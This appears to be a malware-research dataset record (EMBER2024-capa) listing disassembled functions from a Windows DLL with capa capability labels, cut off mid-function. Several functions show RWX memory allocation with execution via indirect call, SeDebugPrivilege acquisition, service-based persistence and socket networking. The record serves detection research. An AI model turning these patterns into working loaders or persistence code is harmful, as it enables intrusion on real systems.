joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001fb0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r12
sub rsp, 0x40
xor ebx, ebx
xor r9d, r9d
mov edx, 0x80000000
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov dword [rsp + 0x28], 0x80
mov r12, rcx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000209a
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rsi
movsxd rdi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jle 0x180002095
mov rcx, qword [0x18003be50]
mov eax, recvfrom
mov qword [rsp + 0x50], rbp
lea ebp, [rdi + 1]
cmp ebp, eax
cmovl ebp, eax
test ebp, ebp
cmovle ebp, eax
call fcn.1800010a0
mov rsi, rax
test rax, rax
je 0x18000205a
mov rdx, rax
mov ecx, ebp
mov dword [rax + 4], ebx
call fcn.180001120
mov qword [rsi + 8], rax
mov byte [rax], bl
mov rbx, rsi
mov rdx, qword [rbx + 8]
mov r9d, edi
xor r8d, r8d
mov rcx, r12
call fcn.180003730
mov rcx, qword [rbx + 8]
mov rbp, qword [rsp + 0x50]
mov dword [rbx + 4], edi
mov rax, rbx
mov byte [rdi + rcx], 0
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop r12
ret
mov rax, rbx
jmp 0x18000207f
mov rsi, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r12
ret

Function at 0x1800020b0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rdx
xor r9d, r9d
mov rbx, rcx
mov qword [rsp + 0x30], 0
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov rcx, rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180002159
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rsi
movsxd rdi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x180002159
mov edx, dword [rbx]
cmp edi, edx
jl 0x18000213a
mov rcx, qword [rbx + 8]
call fcn.180001240
lea ecx, [rdi + 1]
mov rdx, rbx
call fcn.180001120
mov qword [rbx + 8], rax
mov rdx, qword [rbx + 8]
mov r9d, edi
xor r8d, r8d
mov rcx, rbp
mov dword [rbx + 4], edi
call fcn.180003730
mov rax, qword [rbx + 8]
mov byte [rdi + rax], 0
jmp 0x180002168
lea rdx, [0x18002e4fb]
mov rcx, rbx
call fcn.180001a20
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180003180
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
mov rsi, rdx
mov rbx, rcx
call fcn.180002d40
test eax, eax
jne 0x1800031a4
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov qword [rsp + 0x30], rbp
movsxd rbp, eax
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
mov rdx, rbp
mov qword [rsp + 0x38], rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180003285
mov r8, rsi
mov rdx, rax
mov rcx, rbx
call fcn.180002dd0
mov rax, qword [rbx + 0x20]
cmp dword [rax + 0xb0], 0
jbe 0x180003203
cmp dword [rax + 0xb4], 0
jbe 0x180003203
mov rdx, rdi
mov rcx, rbx
call fcn.180002ea0
mov rdx, rdi
mov rcx, rbx
call fcn.180002f70
test eax, eax
jne 0x180003227
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x180003299
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r11, qword [rbx + 0x20]
xor r8d, r8d
mov qword [r11 + 0x30], rdi
mov rax, qword [rbx + 0x20]
lea edx, [r8 + 1]
mov eax, dword [rax + 0x28]
mov rcx, rdi
add rax, rdi
mov qword [rbx], rax
call rax
test eax, eax
jne 0x180003289
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [rbx]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rbx], 0
xor eax, eax
jmp 0x180003299
mov dword [rbx + 8], 1
mov qword [rbx + 0x10], rdi
mov eax, 1
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret

Function at 0x180003730
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov esi, r9d
xor r9d, r9d
mov rbp, rdx
mov qword [rsp + 0x30], 0
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov rdi, rcx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000379c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateFile_errors__d__s_r_n
mov r8, rdi
mov edx, eax
call fcn.180003ac0
xor eax, eax
jmp 0x180003813
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1800037d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.SetFilePoint_Errors__d__s_r_n
mov r8, rdi
mov edx, eax
call fcn.180003ac0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180003813
lea r9, [rsp + 0x40]
mov r8d, esi
mov rdx, rbp
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180003806
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ReadFile_errors__d__s_r_n
jmp 0x1800037bf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x180003830
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
mov qword [rax - 0x18], 0
xor r9d, r9d
mov esi, r8d
mov rbp, rdx
mov dword [rax - 0x20], 0x80
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov rdi, rcx
mov dword [rax + 0x20], 0
mov dword [rax - 0x28], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800038a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateFile_errors__d__s_r_n
mov r8, rdi
mov edx, eax
call fcn.180003ac0
xor eax, eax
jmp 0x1800038f2
lea r9, [rsp + 0x68]
mov r8d, esi
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800038e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WriteFile_errors__d__s_r_n
mov r8, rdi
mov edx, eax
call fcn.180003ac0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1800038f2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180003910
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
mov qword [rax - 0x18], 0
xor r9d, r9d
mov esi, r8d
mov rbp, rdx
mov dword [rax - 0x20], 0x80
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov rdi, rcx
mov dword [rax + 0x20], 0
mov dword [rax - 0x28], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180003980
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateFile_errors__d__s_r_n
mov r8, rdi
mov edx, eax
call fcn.180003ac0
xor eax, eax
jmp 0x1800039fa
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1800039bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.SetFilePoint_Errors__d__s_r_n
mov r8, rdi
mov edx, eax
call fcn.180003ac0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1800039fa
lea r9, [rsp + 0x68]
mov r8d, esi
mov rdx, rbp
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800039ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.WriteFile_errors__d__s_r_n
jmp 0x1800039a6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180003cb0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor eax, eax
movzx edi, r8b
movzx ebx, cx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x3c], eax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], eax
test rdx, rdx
je 0x180003cfb
cmp byte [rdx], al
je 0x180003cfb
mov rcx, rdx
call qword [sym.imp.WS2_32.dll_inet_addr]
jmp 0x180003d03
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_htonl]
mov esi, 2
movzx ecx, bx
mov dword [rsp + 0x3c], eax
mov word [rsp + 0x38], si
call qword [sym.imp.WS2_32.dll_htons]
lea edx, [rsi - 1]
xor r8d, r8d
mov ecx, esi
mov word [rsp + 0x3a], ax
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
test dil, dil
je 0x180003d5c
lea r9, [rsp + 0x30]
lea r8d, [rsi + 2]
mov edx, 0xffff
mov rcx, rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea rdx, [rsp + 0x38]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, 0xffffffff
jne 0x180003d8f
mov edx, esi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
or rax, 0xffffffffffffffff
jmp 0x180003da7
mov edx, 5
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x180003da4
mov rcx, rbx
jmp 0x180003d78
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800178a0
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x180003dd0
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x270
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov ebp, r8d
xor r8d, r8d
mov rdi, rdx
movzx esi, cx
mov r12d, 2
lea edx, [r8 + 1]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
xor eax, eax
mov dword [rsp + 0x250], eax
mov dword [rsp + 0x254], eax
mov dword [rsp + 0x258], eax
mov dword [rsp + 0x25c], eax
test rdi, rdi
je 0x180003e44
cmp byte [rdi], al
je 0x180003e44
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_inet_addr]
jmp 0x180003e4c
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_htonl]
movzx ecx, si
mov dword [rsp + 0x254], eax
mov word [rsp + 0x250], r12w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rbx
mov dword [rsp + 0x30], 1
mov word [rsp + 0x252], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea rdx, [rsp + 0x250]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
mov eax, 0x10624dd3
lea ecx, [rbx + 1]
imul ebp
sar edx, 6
lea r8, [rsp + 0x40]
mov eax, edx
xor edi, edi
xor r9d, r9d
shr eax, 0x1f
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x40], 1
add edx, eax
lea rax, [rsp + 0x38]
mov dword [rsp + 0x3c], edi
mov dword [rsp + 0x38], edx
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
mov rcx, rbx
test eax, eax
jg 0x180003f03
mov edx, r12d
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
or rax, 0xffffffffffffffff
jmp 0x180003f1a
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov dword [rsp + 0x30], edi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800178a0
add rsp, 0x270
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x180003f40
Capabilities:
Get socket status

Disassembly:
push rbx
sub rsp, 0x240
mov r8d, edx
mov rbx, rcx
test edx, edx
jg 0x180003f5e
mov al, 1
add rsp, 0x240
pop rbx
ret
mov eax, 0x10624dd3
mov qword [rsp + 0x38], rcx
xor r9d, r9d
inc ecx
mov dword [rsp + 0x30], 1
imul r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
lea rax, [rsp + 0x260]
mov dword [rsp + 0x260], edx
mov qword [rsp + 0x20], rax
imul edx, edx, 0x3e8
sub r8d, edx
lea rdx, [rsp + 0x30]
imul r8d, r8d, 0x3e8
mov dword [rsp + 0x264], r8d
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
jne 0x180003fcc
xor al, al
add rsp, 0x240
pop rbx
ret
lea rdx, [rsp + 0x30]
mov rcx, rbx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
setne al
add rsp, 0x240
pop rbx
ret
Function at 0x180003ff0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x240
xor r13d, r13d
mov edi, r8d
mov r12, rdx
mov rsi, rcx
mov ebx, r13d
test r8d, r8d
jle 0x180004098
nop
lea rax, [rsp + 0x268]
lea r8, [rsp + 0x30]
lea ecx, [rsi + 1]
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x268], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x26c], r13d
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x1800040b7
lea rdx, [rsp + 0x30]
mov rcx, rsi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1800040b7
mov r8d, edi
movsxd rdx, ebx
xor r9d, r9d
sub r8d, ebx
add rdx, r12
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000409a
add ebx, eax
cmp ebx, edi
jl 0x180004020
mov eax, edi
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
mov eax, 0xfffffc88
jmp 0x18000409a

Function at 0x1800040c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
xor ebx, ebx
mov ebp, r9d
mov edi, r8d
mov r12, rdx
mov rsi, rcx
test r8d, r8d
jle 0x180004120
nop dword [rax]
mov edx, ebp
mov rcx, rsi
call fcn.180003f40
test al, al
je 0x18000413d
mov r8d, edi
movsxd rdx, ebx
xor r9d, r9d
sub r8d, ebx
add rdx, r12
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x180004122
add ebx, eax
cmp ebx, edi
jl 0x1800040f0
mov eax, edi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
mov eax, 0xfffffc88
jmp 0x180004122
Function at 0x1800043f0
Capabilities:
Encode data using base64

Disassembly:
push rdi
mov r10, r8
mov edi, edx
mov r11, rcx
test rcx, rcx
je 0x180004535
test edx, edx
js 0x180004535
test r8, r8
je 0x18000451f
mov qword [rsp + 0x10], rbx
mov ebx, edx
test edx, edx
jle 0x180004516
mov qword [rsp + 0x18], rsi
lea rsi, [0x18002e700]
nop
cmp ebx, 3
jl 0x18000449f
movzx ecx, byte [r11 + 1]
movzx edx, byte [r11]
movzx r9d, byte [r11 + 2]
mov r8d, ecx
shr ecx, 4
mov rax, rdx
shr rax, 2
add r11, 3
movzx eax, byte [rax + rsi]
mov byte [r10], al
mov eax, edx
shl eax, 4
or rcx, rax
and ecx, 0x3f
movzx eax, byte [rcx + rsi]
mov rcx, r9
mov byte [r10 + 1], al
lea eax, [r8*4]
shr rcx, 6
or rcx, rax
and ecx, 0x3f
movzx eax, byte [rcx + rsi]
mov byte [r10 + 2], al
mov rax, r9
and eax, 0x3f
add r10, 4
movzx eax, byte [rax + rsi]
mov byte [r10 - 1], al
jmp 0x180004506
movzx r8d, byte [r11]
inc r11
cmp ebx, 2
jne 0x1800044b4
movzx ecx, byte [r11]
inc r11
jmp 0x1800044b6
xor cl, cl
movzx edx, cl
movzx eax, r8b
shr rax, 2
mov ecx, edx
movzx eax, byte [rax + rsi]
shr ecx, 4
mov byte [r10], al
movzx eax, r8b
shl eax, 4
or rcx, rax
and ecx, 0x3f
movzx eax, byte [rcx + rsi]
mov byte [r10 + 1], al
cmp ebx, 1
jne 0x1800044ec
lea eax, [rbx + 0x3c]
jmp 0x1800044f9
and edx, 0xf
shl edx, 2
movsxd rax, edx
movsx eax, byte [rax + rsi]
mov byte [r10 + 2], al
mov byte [r10 + 3], 0x3d
add r10, 4
sub ebx, 3
test ebx, ebx
jg 0x180004430
mov rsi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x10]
mov byte [r10], 0
lea ecx, [rdi + 2]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
shl eax, 2
pop rdi
ret
or eax, 0xffffffff
pop rdi
ret
Function at 0x180005170
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x180
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor eax, eax
mov qword [rsp + 0x90], r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa0], 0x67452301
mov dword [rsp + 0xb4], eax
mov dword [rsp + 0xb0], eax
mov dword [rsp + 0xa4], 0xefcdab89
mov dword [rsp + 0xa8], 0x98badcfe
mov dword [rsp + 0xac], 0x10325476
call fcn.180004f90
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x100]
call fcn.180005060
movzx eax, byte [rsp + 0x10e]
movzx r11d, byte [rsp + 0x10f]
movzx edx, byte [rsp + 0x10d]
movzx r10d, byte [rsp + 0x10c]
movzx ecx, byte [rsp + 0x10b]
movzx ebx, byte [rsp + 0x10a]
movzx edi, byte [rsp + 0x109]
movzx esi, byte [rsp + 0x108]
movzx ebp, byte [rsp + 0x107]
movzx r12d, byte [rsp + 0x106]
movzx r13d, byte [rsp + 0x105]
movzx r14d, byte [rsp + 0x104]
movzx r15d, byte [rsp + 0x103]
movzx r9d, byte [rsp + 0x101]
movzx r8d, byte [rsp + 0x100]
mov dword [rsp + 0x88], r11d
mov dword [rsp + 0x80], eax
movzx eax, byte [rsp + 0x102]
mov dword [rsp + 0x78], edx
mov dword [rsp + 0x70], r10d
mov dword [rsp + 0x68], ecx
mov rcx, qword [rsp + 0x90]
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x58], edi
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], ebp
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r14d
lea rdx, str._02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x_02x
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
call fcn.1800178c0
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1800178a0
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180005310
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180005394
lea r8, [rsp + 0x58]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x18000538e
mov rax, qword [rsp + 0x58]
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x34], rax
xor eax, eax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
lea r9d, [rax + 0x10]
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x18000539b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x48
ret
mov eax, 1
add rsp, 0x48
ret
Function at 0x1800053b0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x18003df80]
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test rax, rax
jne 0x1800053f0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [0x18003df80], rax
xor ebx, ebx
mov r9d, 0xf01ff
mov r8, rbp
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], ebx
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
jne 0x1800054a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180005468
cmp eax, 0x431
je 0x180005468
lea rcx, str.InstallDriver_CrateService___Faild__d____n
mov edx, eax
call fcn.180003ac0
jmp 0x18000550d
lea rcx, str.InstallDriver_CrateService___Faild_Service_is_ERROR_IO_PENDING_or_ERROR_SERVICE_EXISTS___n
call fcn.180003ac0
mov rcx, qword [0x18003df80]
mov r8d, 0xf01ff
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
jne 0x1800054a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.InstallDriver_OpenService___Faild__d____n
mov edx, eax
call fcn.180003ac0
jmp 0x18000550d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x1800054fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1800054ec
cmp eax, 0x420
je 0x1800054de
lea rcx, str.InstallDriver_StartService___Faild__d____n
mov edx, eax
call fcn.180003ac0
jmp 0x1800054ff
lea rcx, str.InstallDriver_StartService___ERROR_SERVICE_ALREADY_RUNNING____n
call fcn.180003ac0
jmp 0x1800054ff
lea rcx, str.InstallDriver_StartService___Faild_ERROR_IO_PENDING____n
call fcn.180003ac0
jmp 0x1800054ff
mov ebx, 1
test rdi, rdi
je 0x18000550d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea r11, [rsp + 0x70]
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180005530
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rax, qword [str.SYSTEMCurrentControlSet_services_]
mov rbx, rdx
mov rdx, rcx
lea rcx, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov qword [rcx], rax
mov rax, qword [0x1800328b0]
mov qword [rcx + 8], rax
mov rax, qword [0x1800328b8]
mov qword [rcx + 0x10], rax
mov rax, qword [0x1800328c0]
mov qword [rcx + 0x18], rax
movzx eax, word [0x1800328c8]
mov word [rcx + 0x20], ax
movzx eax, byte [0x1800328ca]
mov byte [rcx + 0x22], al
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1800055b0
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r9d, 0x2001f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800055fe
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call fcn.1800060c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1800178a0
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret

Function at 0x180005810
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r8, rcx
test rcx, rcx
jne 0x180005852
mov rcx, qword [0x18003be50]
call fcn.1800010a0
xor edi, edi
mov rbx, rax
test rax, rax
je 0x18000586f
lea ecx, [rdi + 0xf]
mov rdx, rax
mov dword [rax + 4], edi
call fcn.180001120
mov qword [rbx + 8], rax
mov byte [rax], dil
mov rdi, rbx
jmp 0x18000586f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r8
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
mov rcx, r8
call fcn.1800012d0
mov rdi, rax
lea r8, [0x180032a08]
lea rdx, [0x180032a0c]
mov rcx, rdi
call fcn.180001bc0
movsxd rdx, dword [rdi + 4]
mov rcx, qword [rdi + 8]
cmp byte [rdx + rcx - 1], 0x5c
je 0x1800058a9
lea rdx, [0x180032a08]
mov r8d, 1
mov rcx, rdi
call fcn.180001440
mov rcx, qword [rdi + 8]
lea rdx, [0x180032a08]
call fcn.180017a54
mov rbx, rax
test rax, rax
je 0x1800058fe
mov byte [rbx], 0
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800058e3
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x180005916
lea rcx, [rbx + 1]
lea rdx, [0x180032a08]
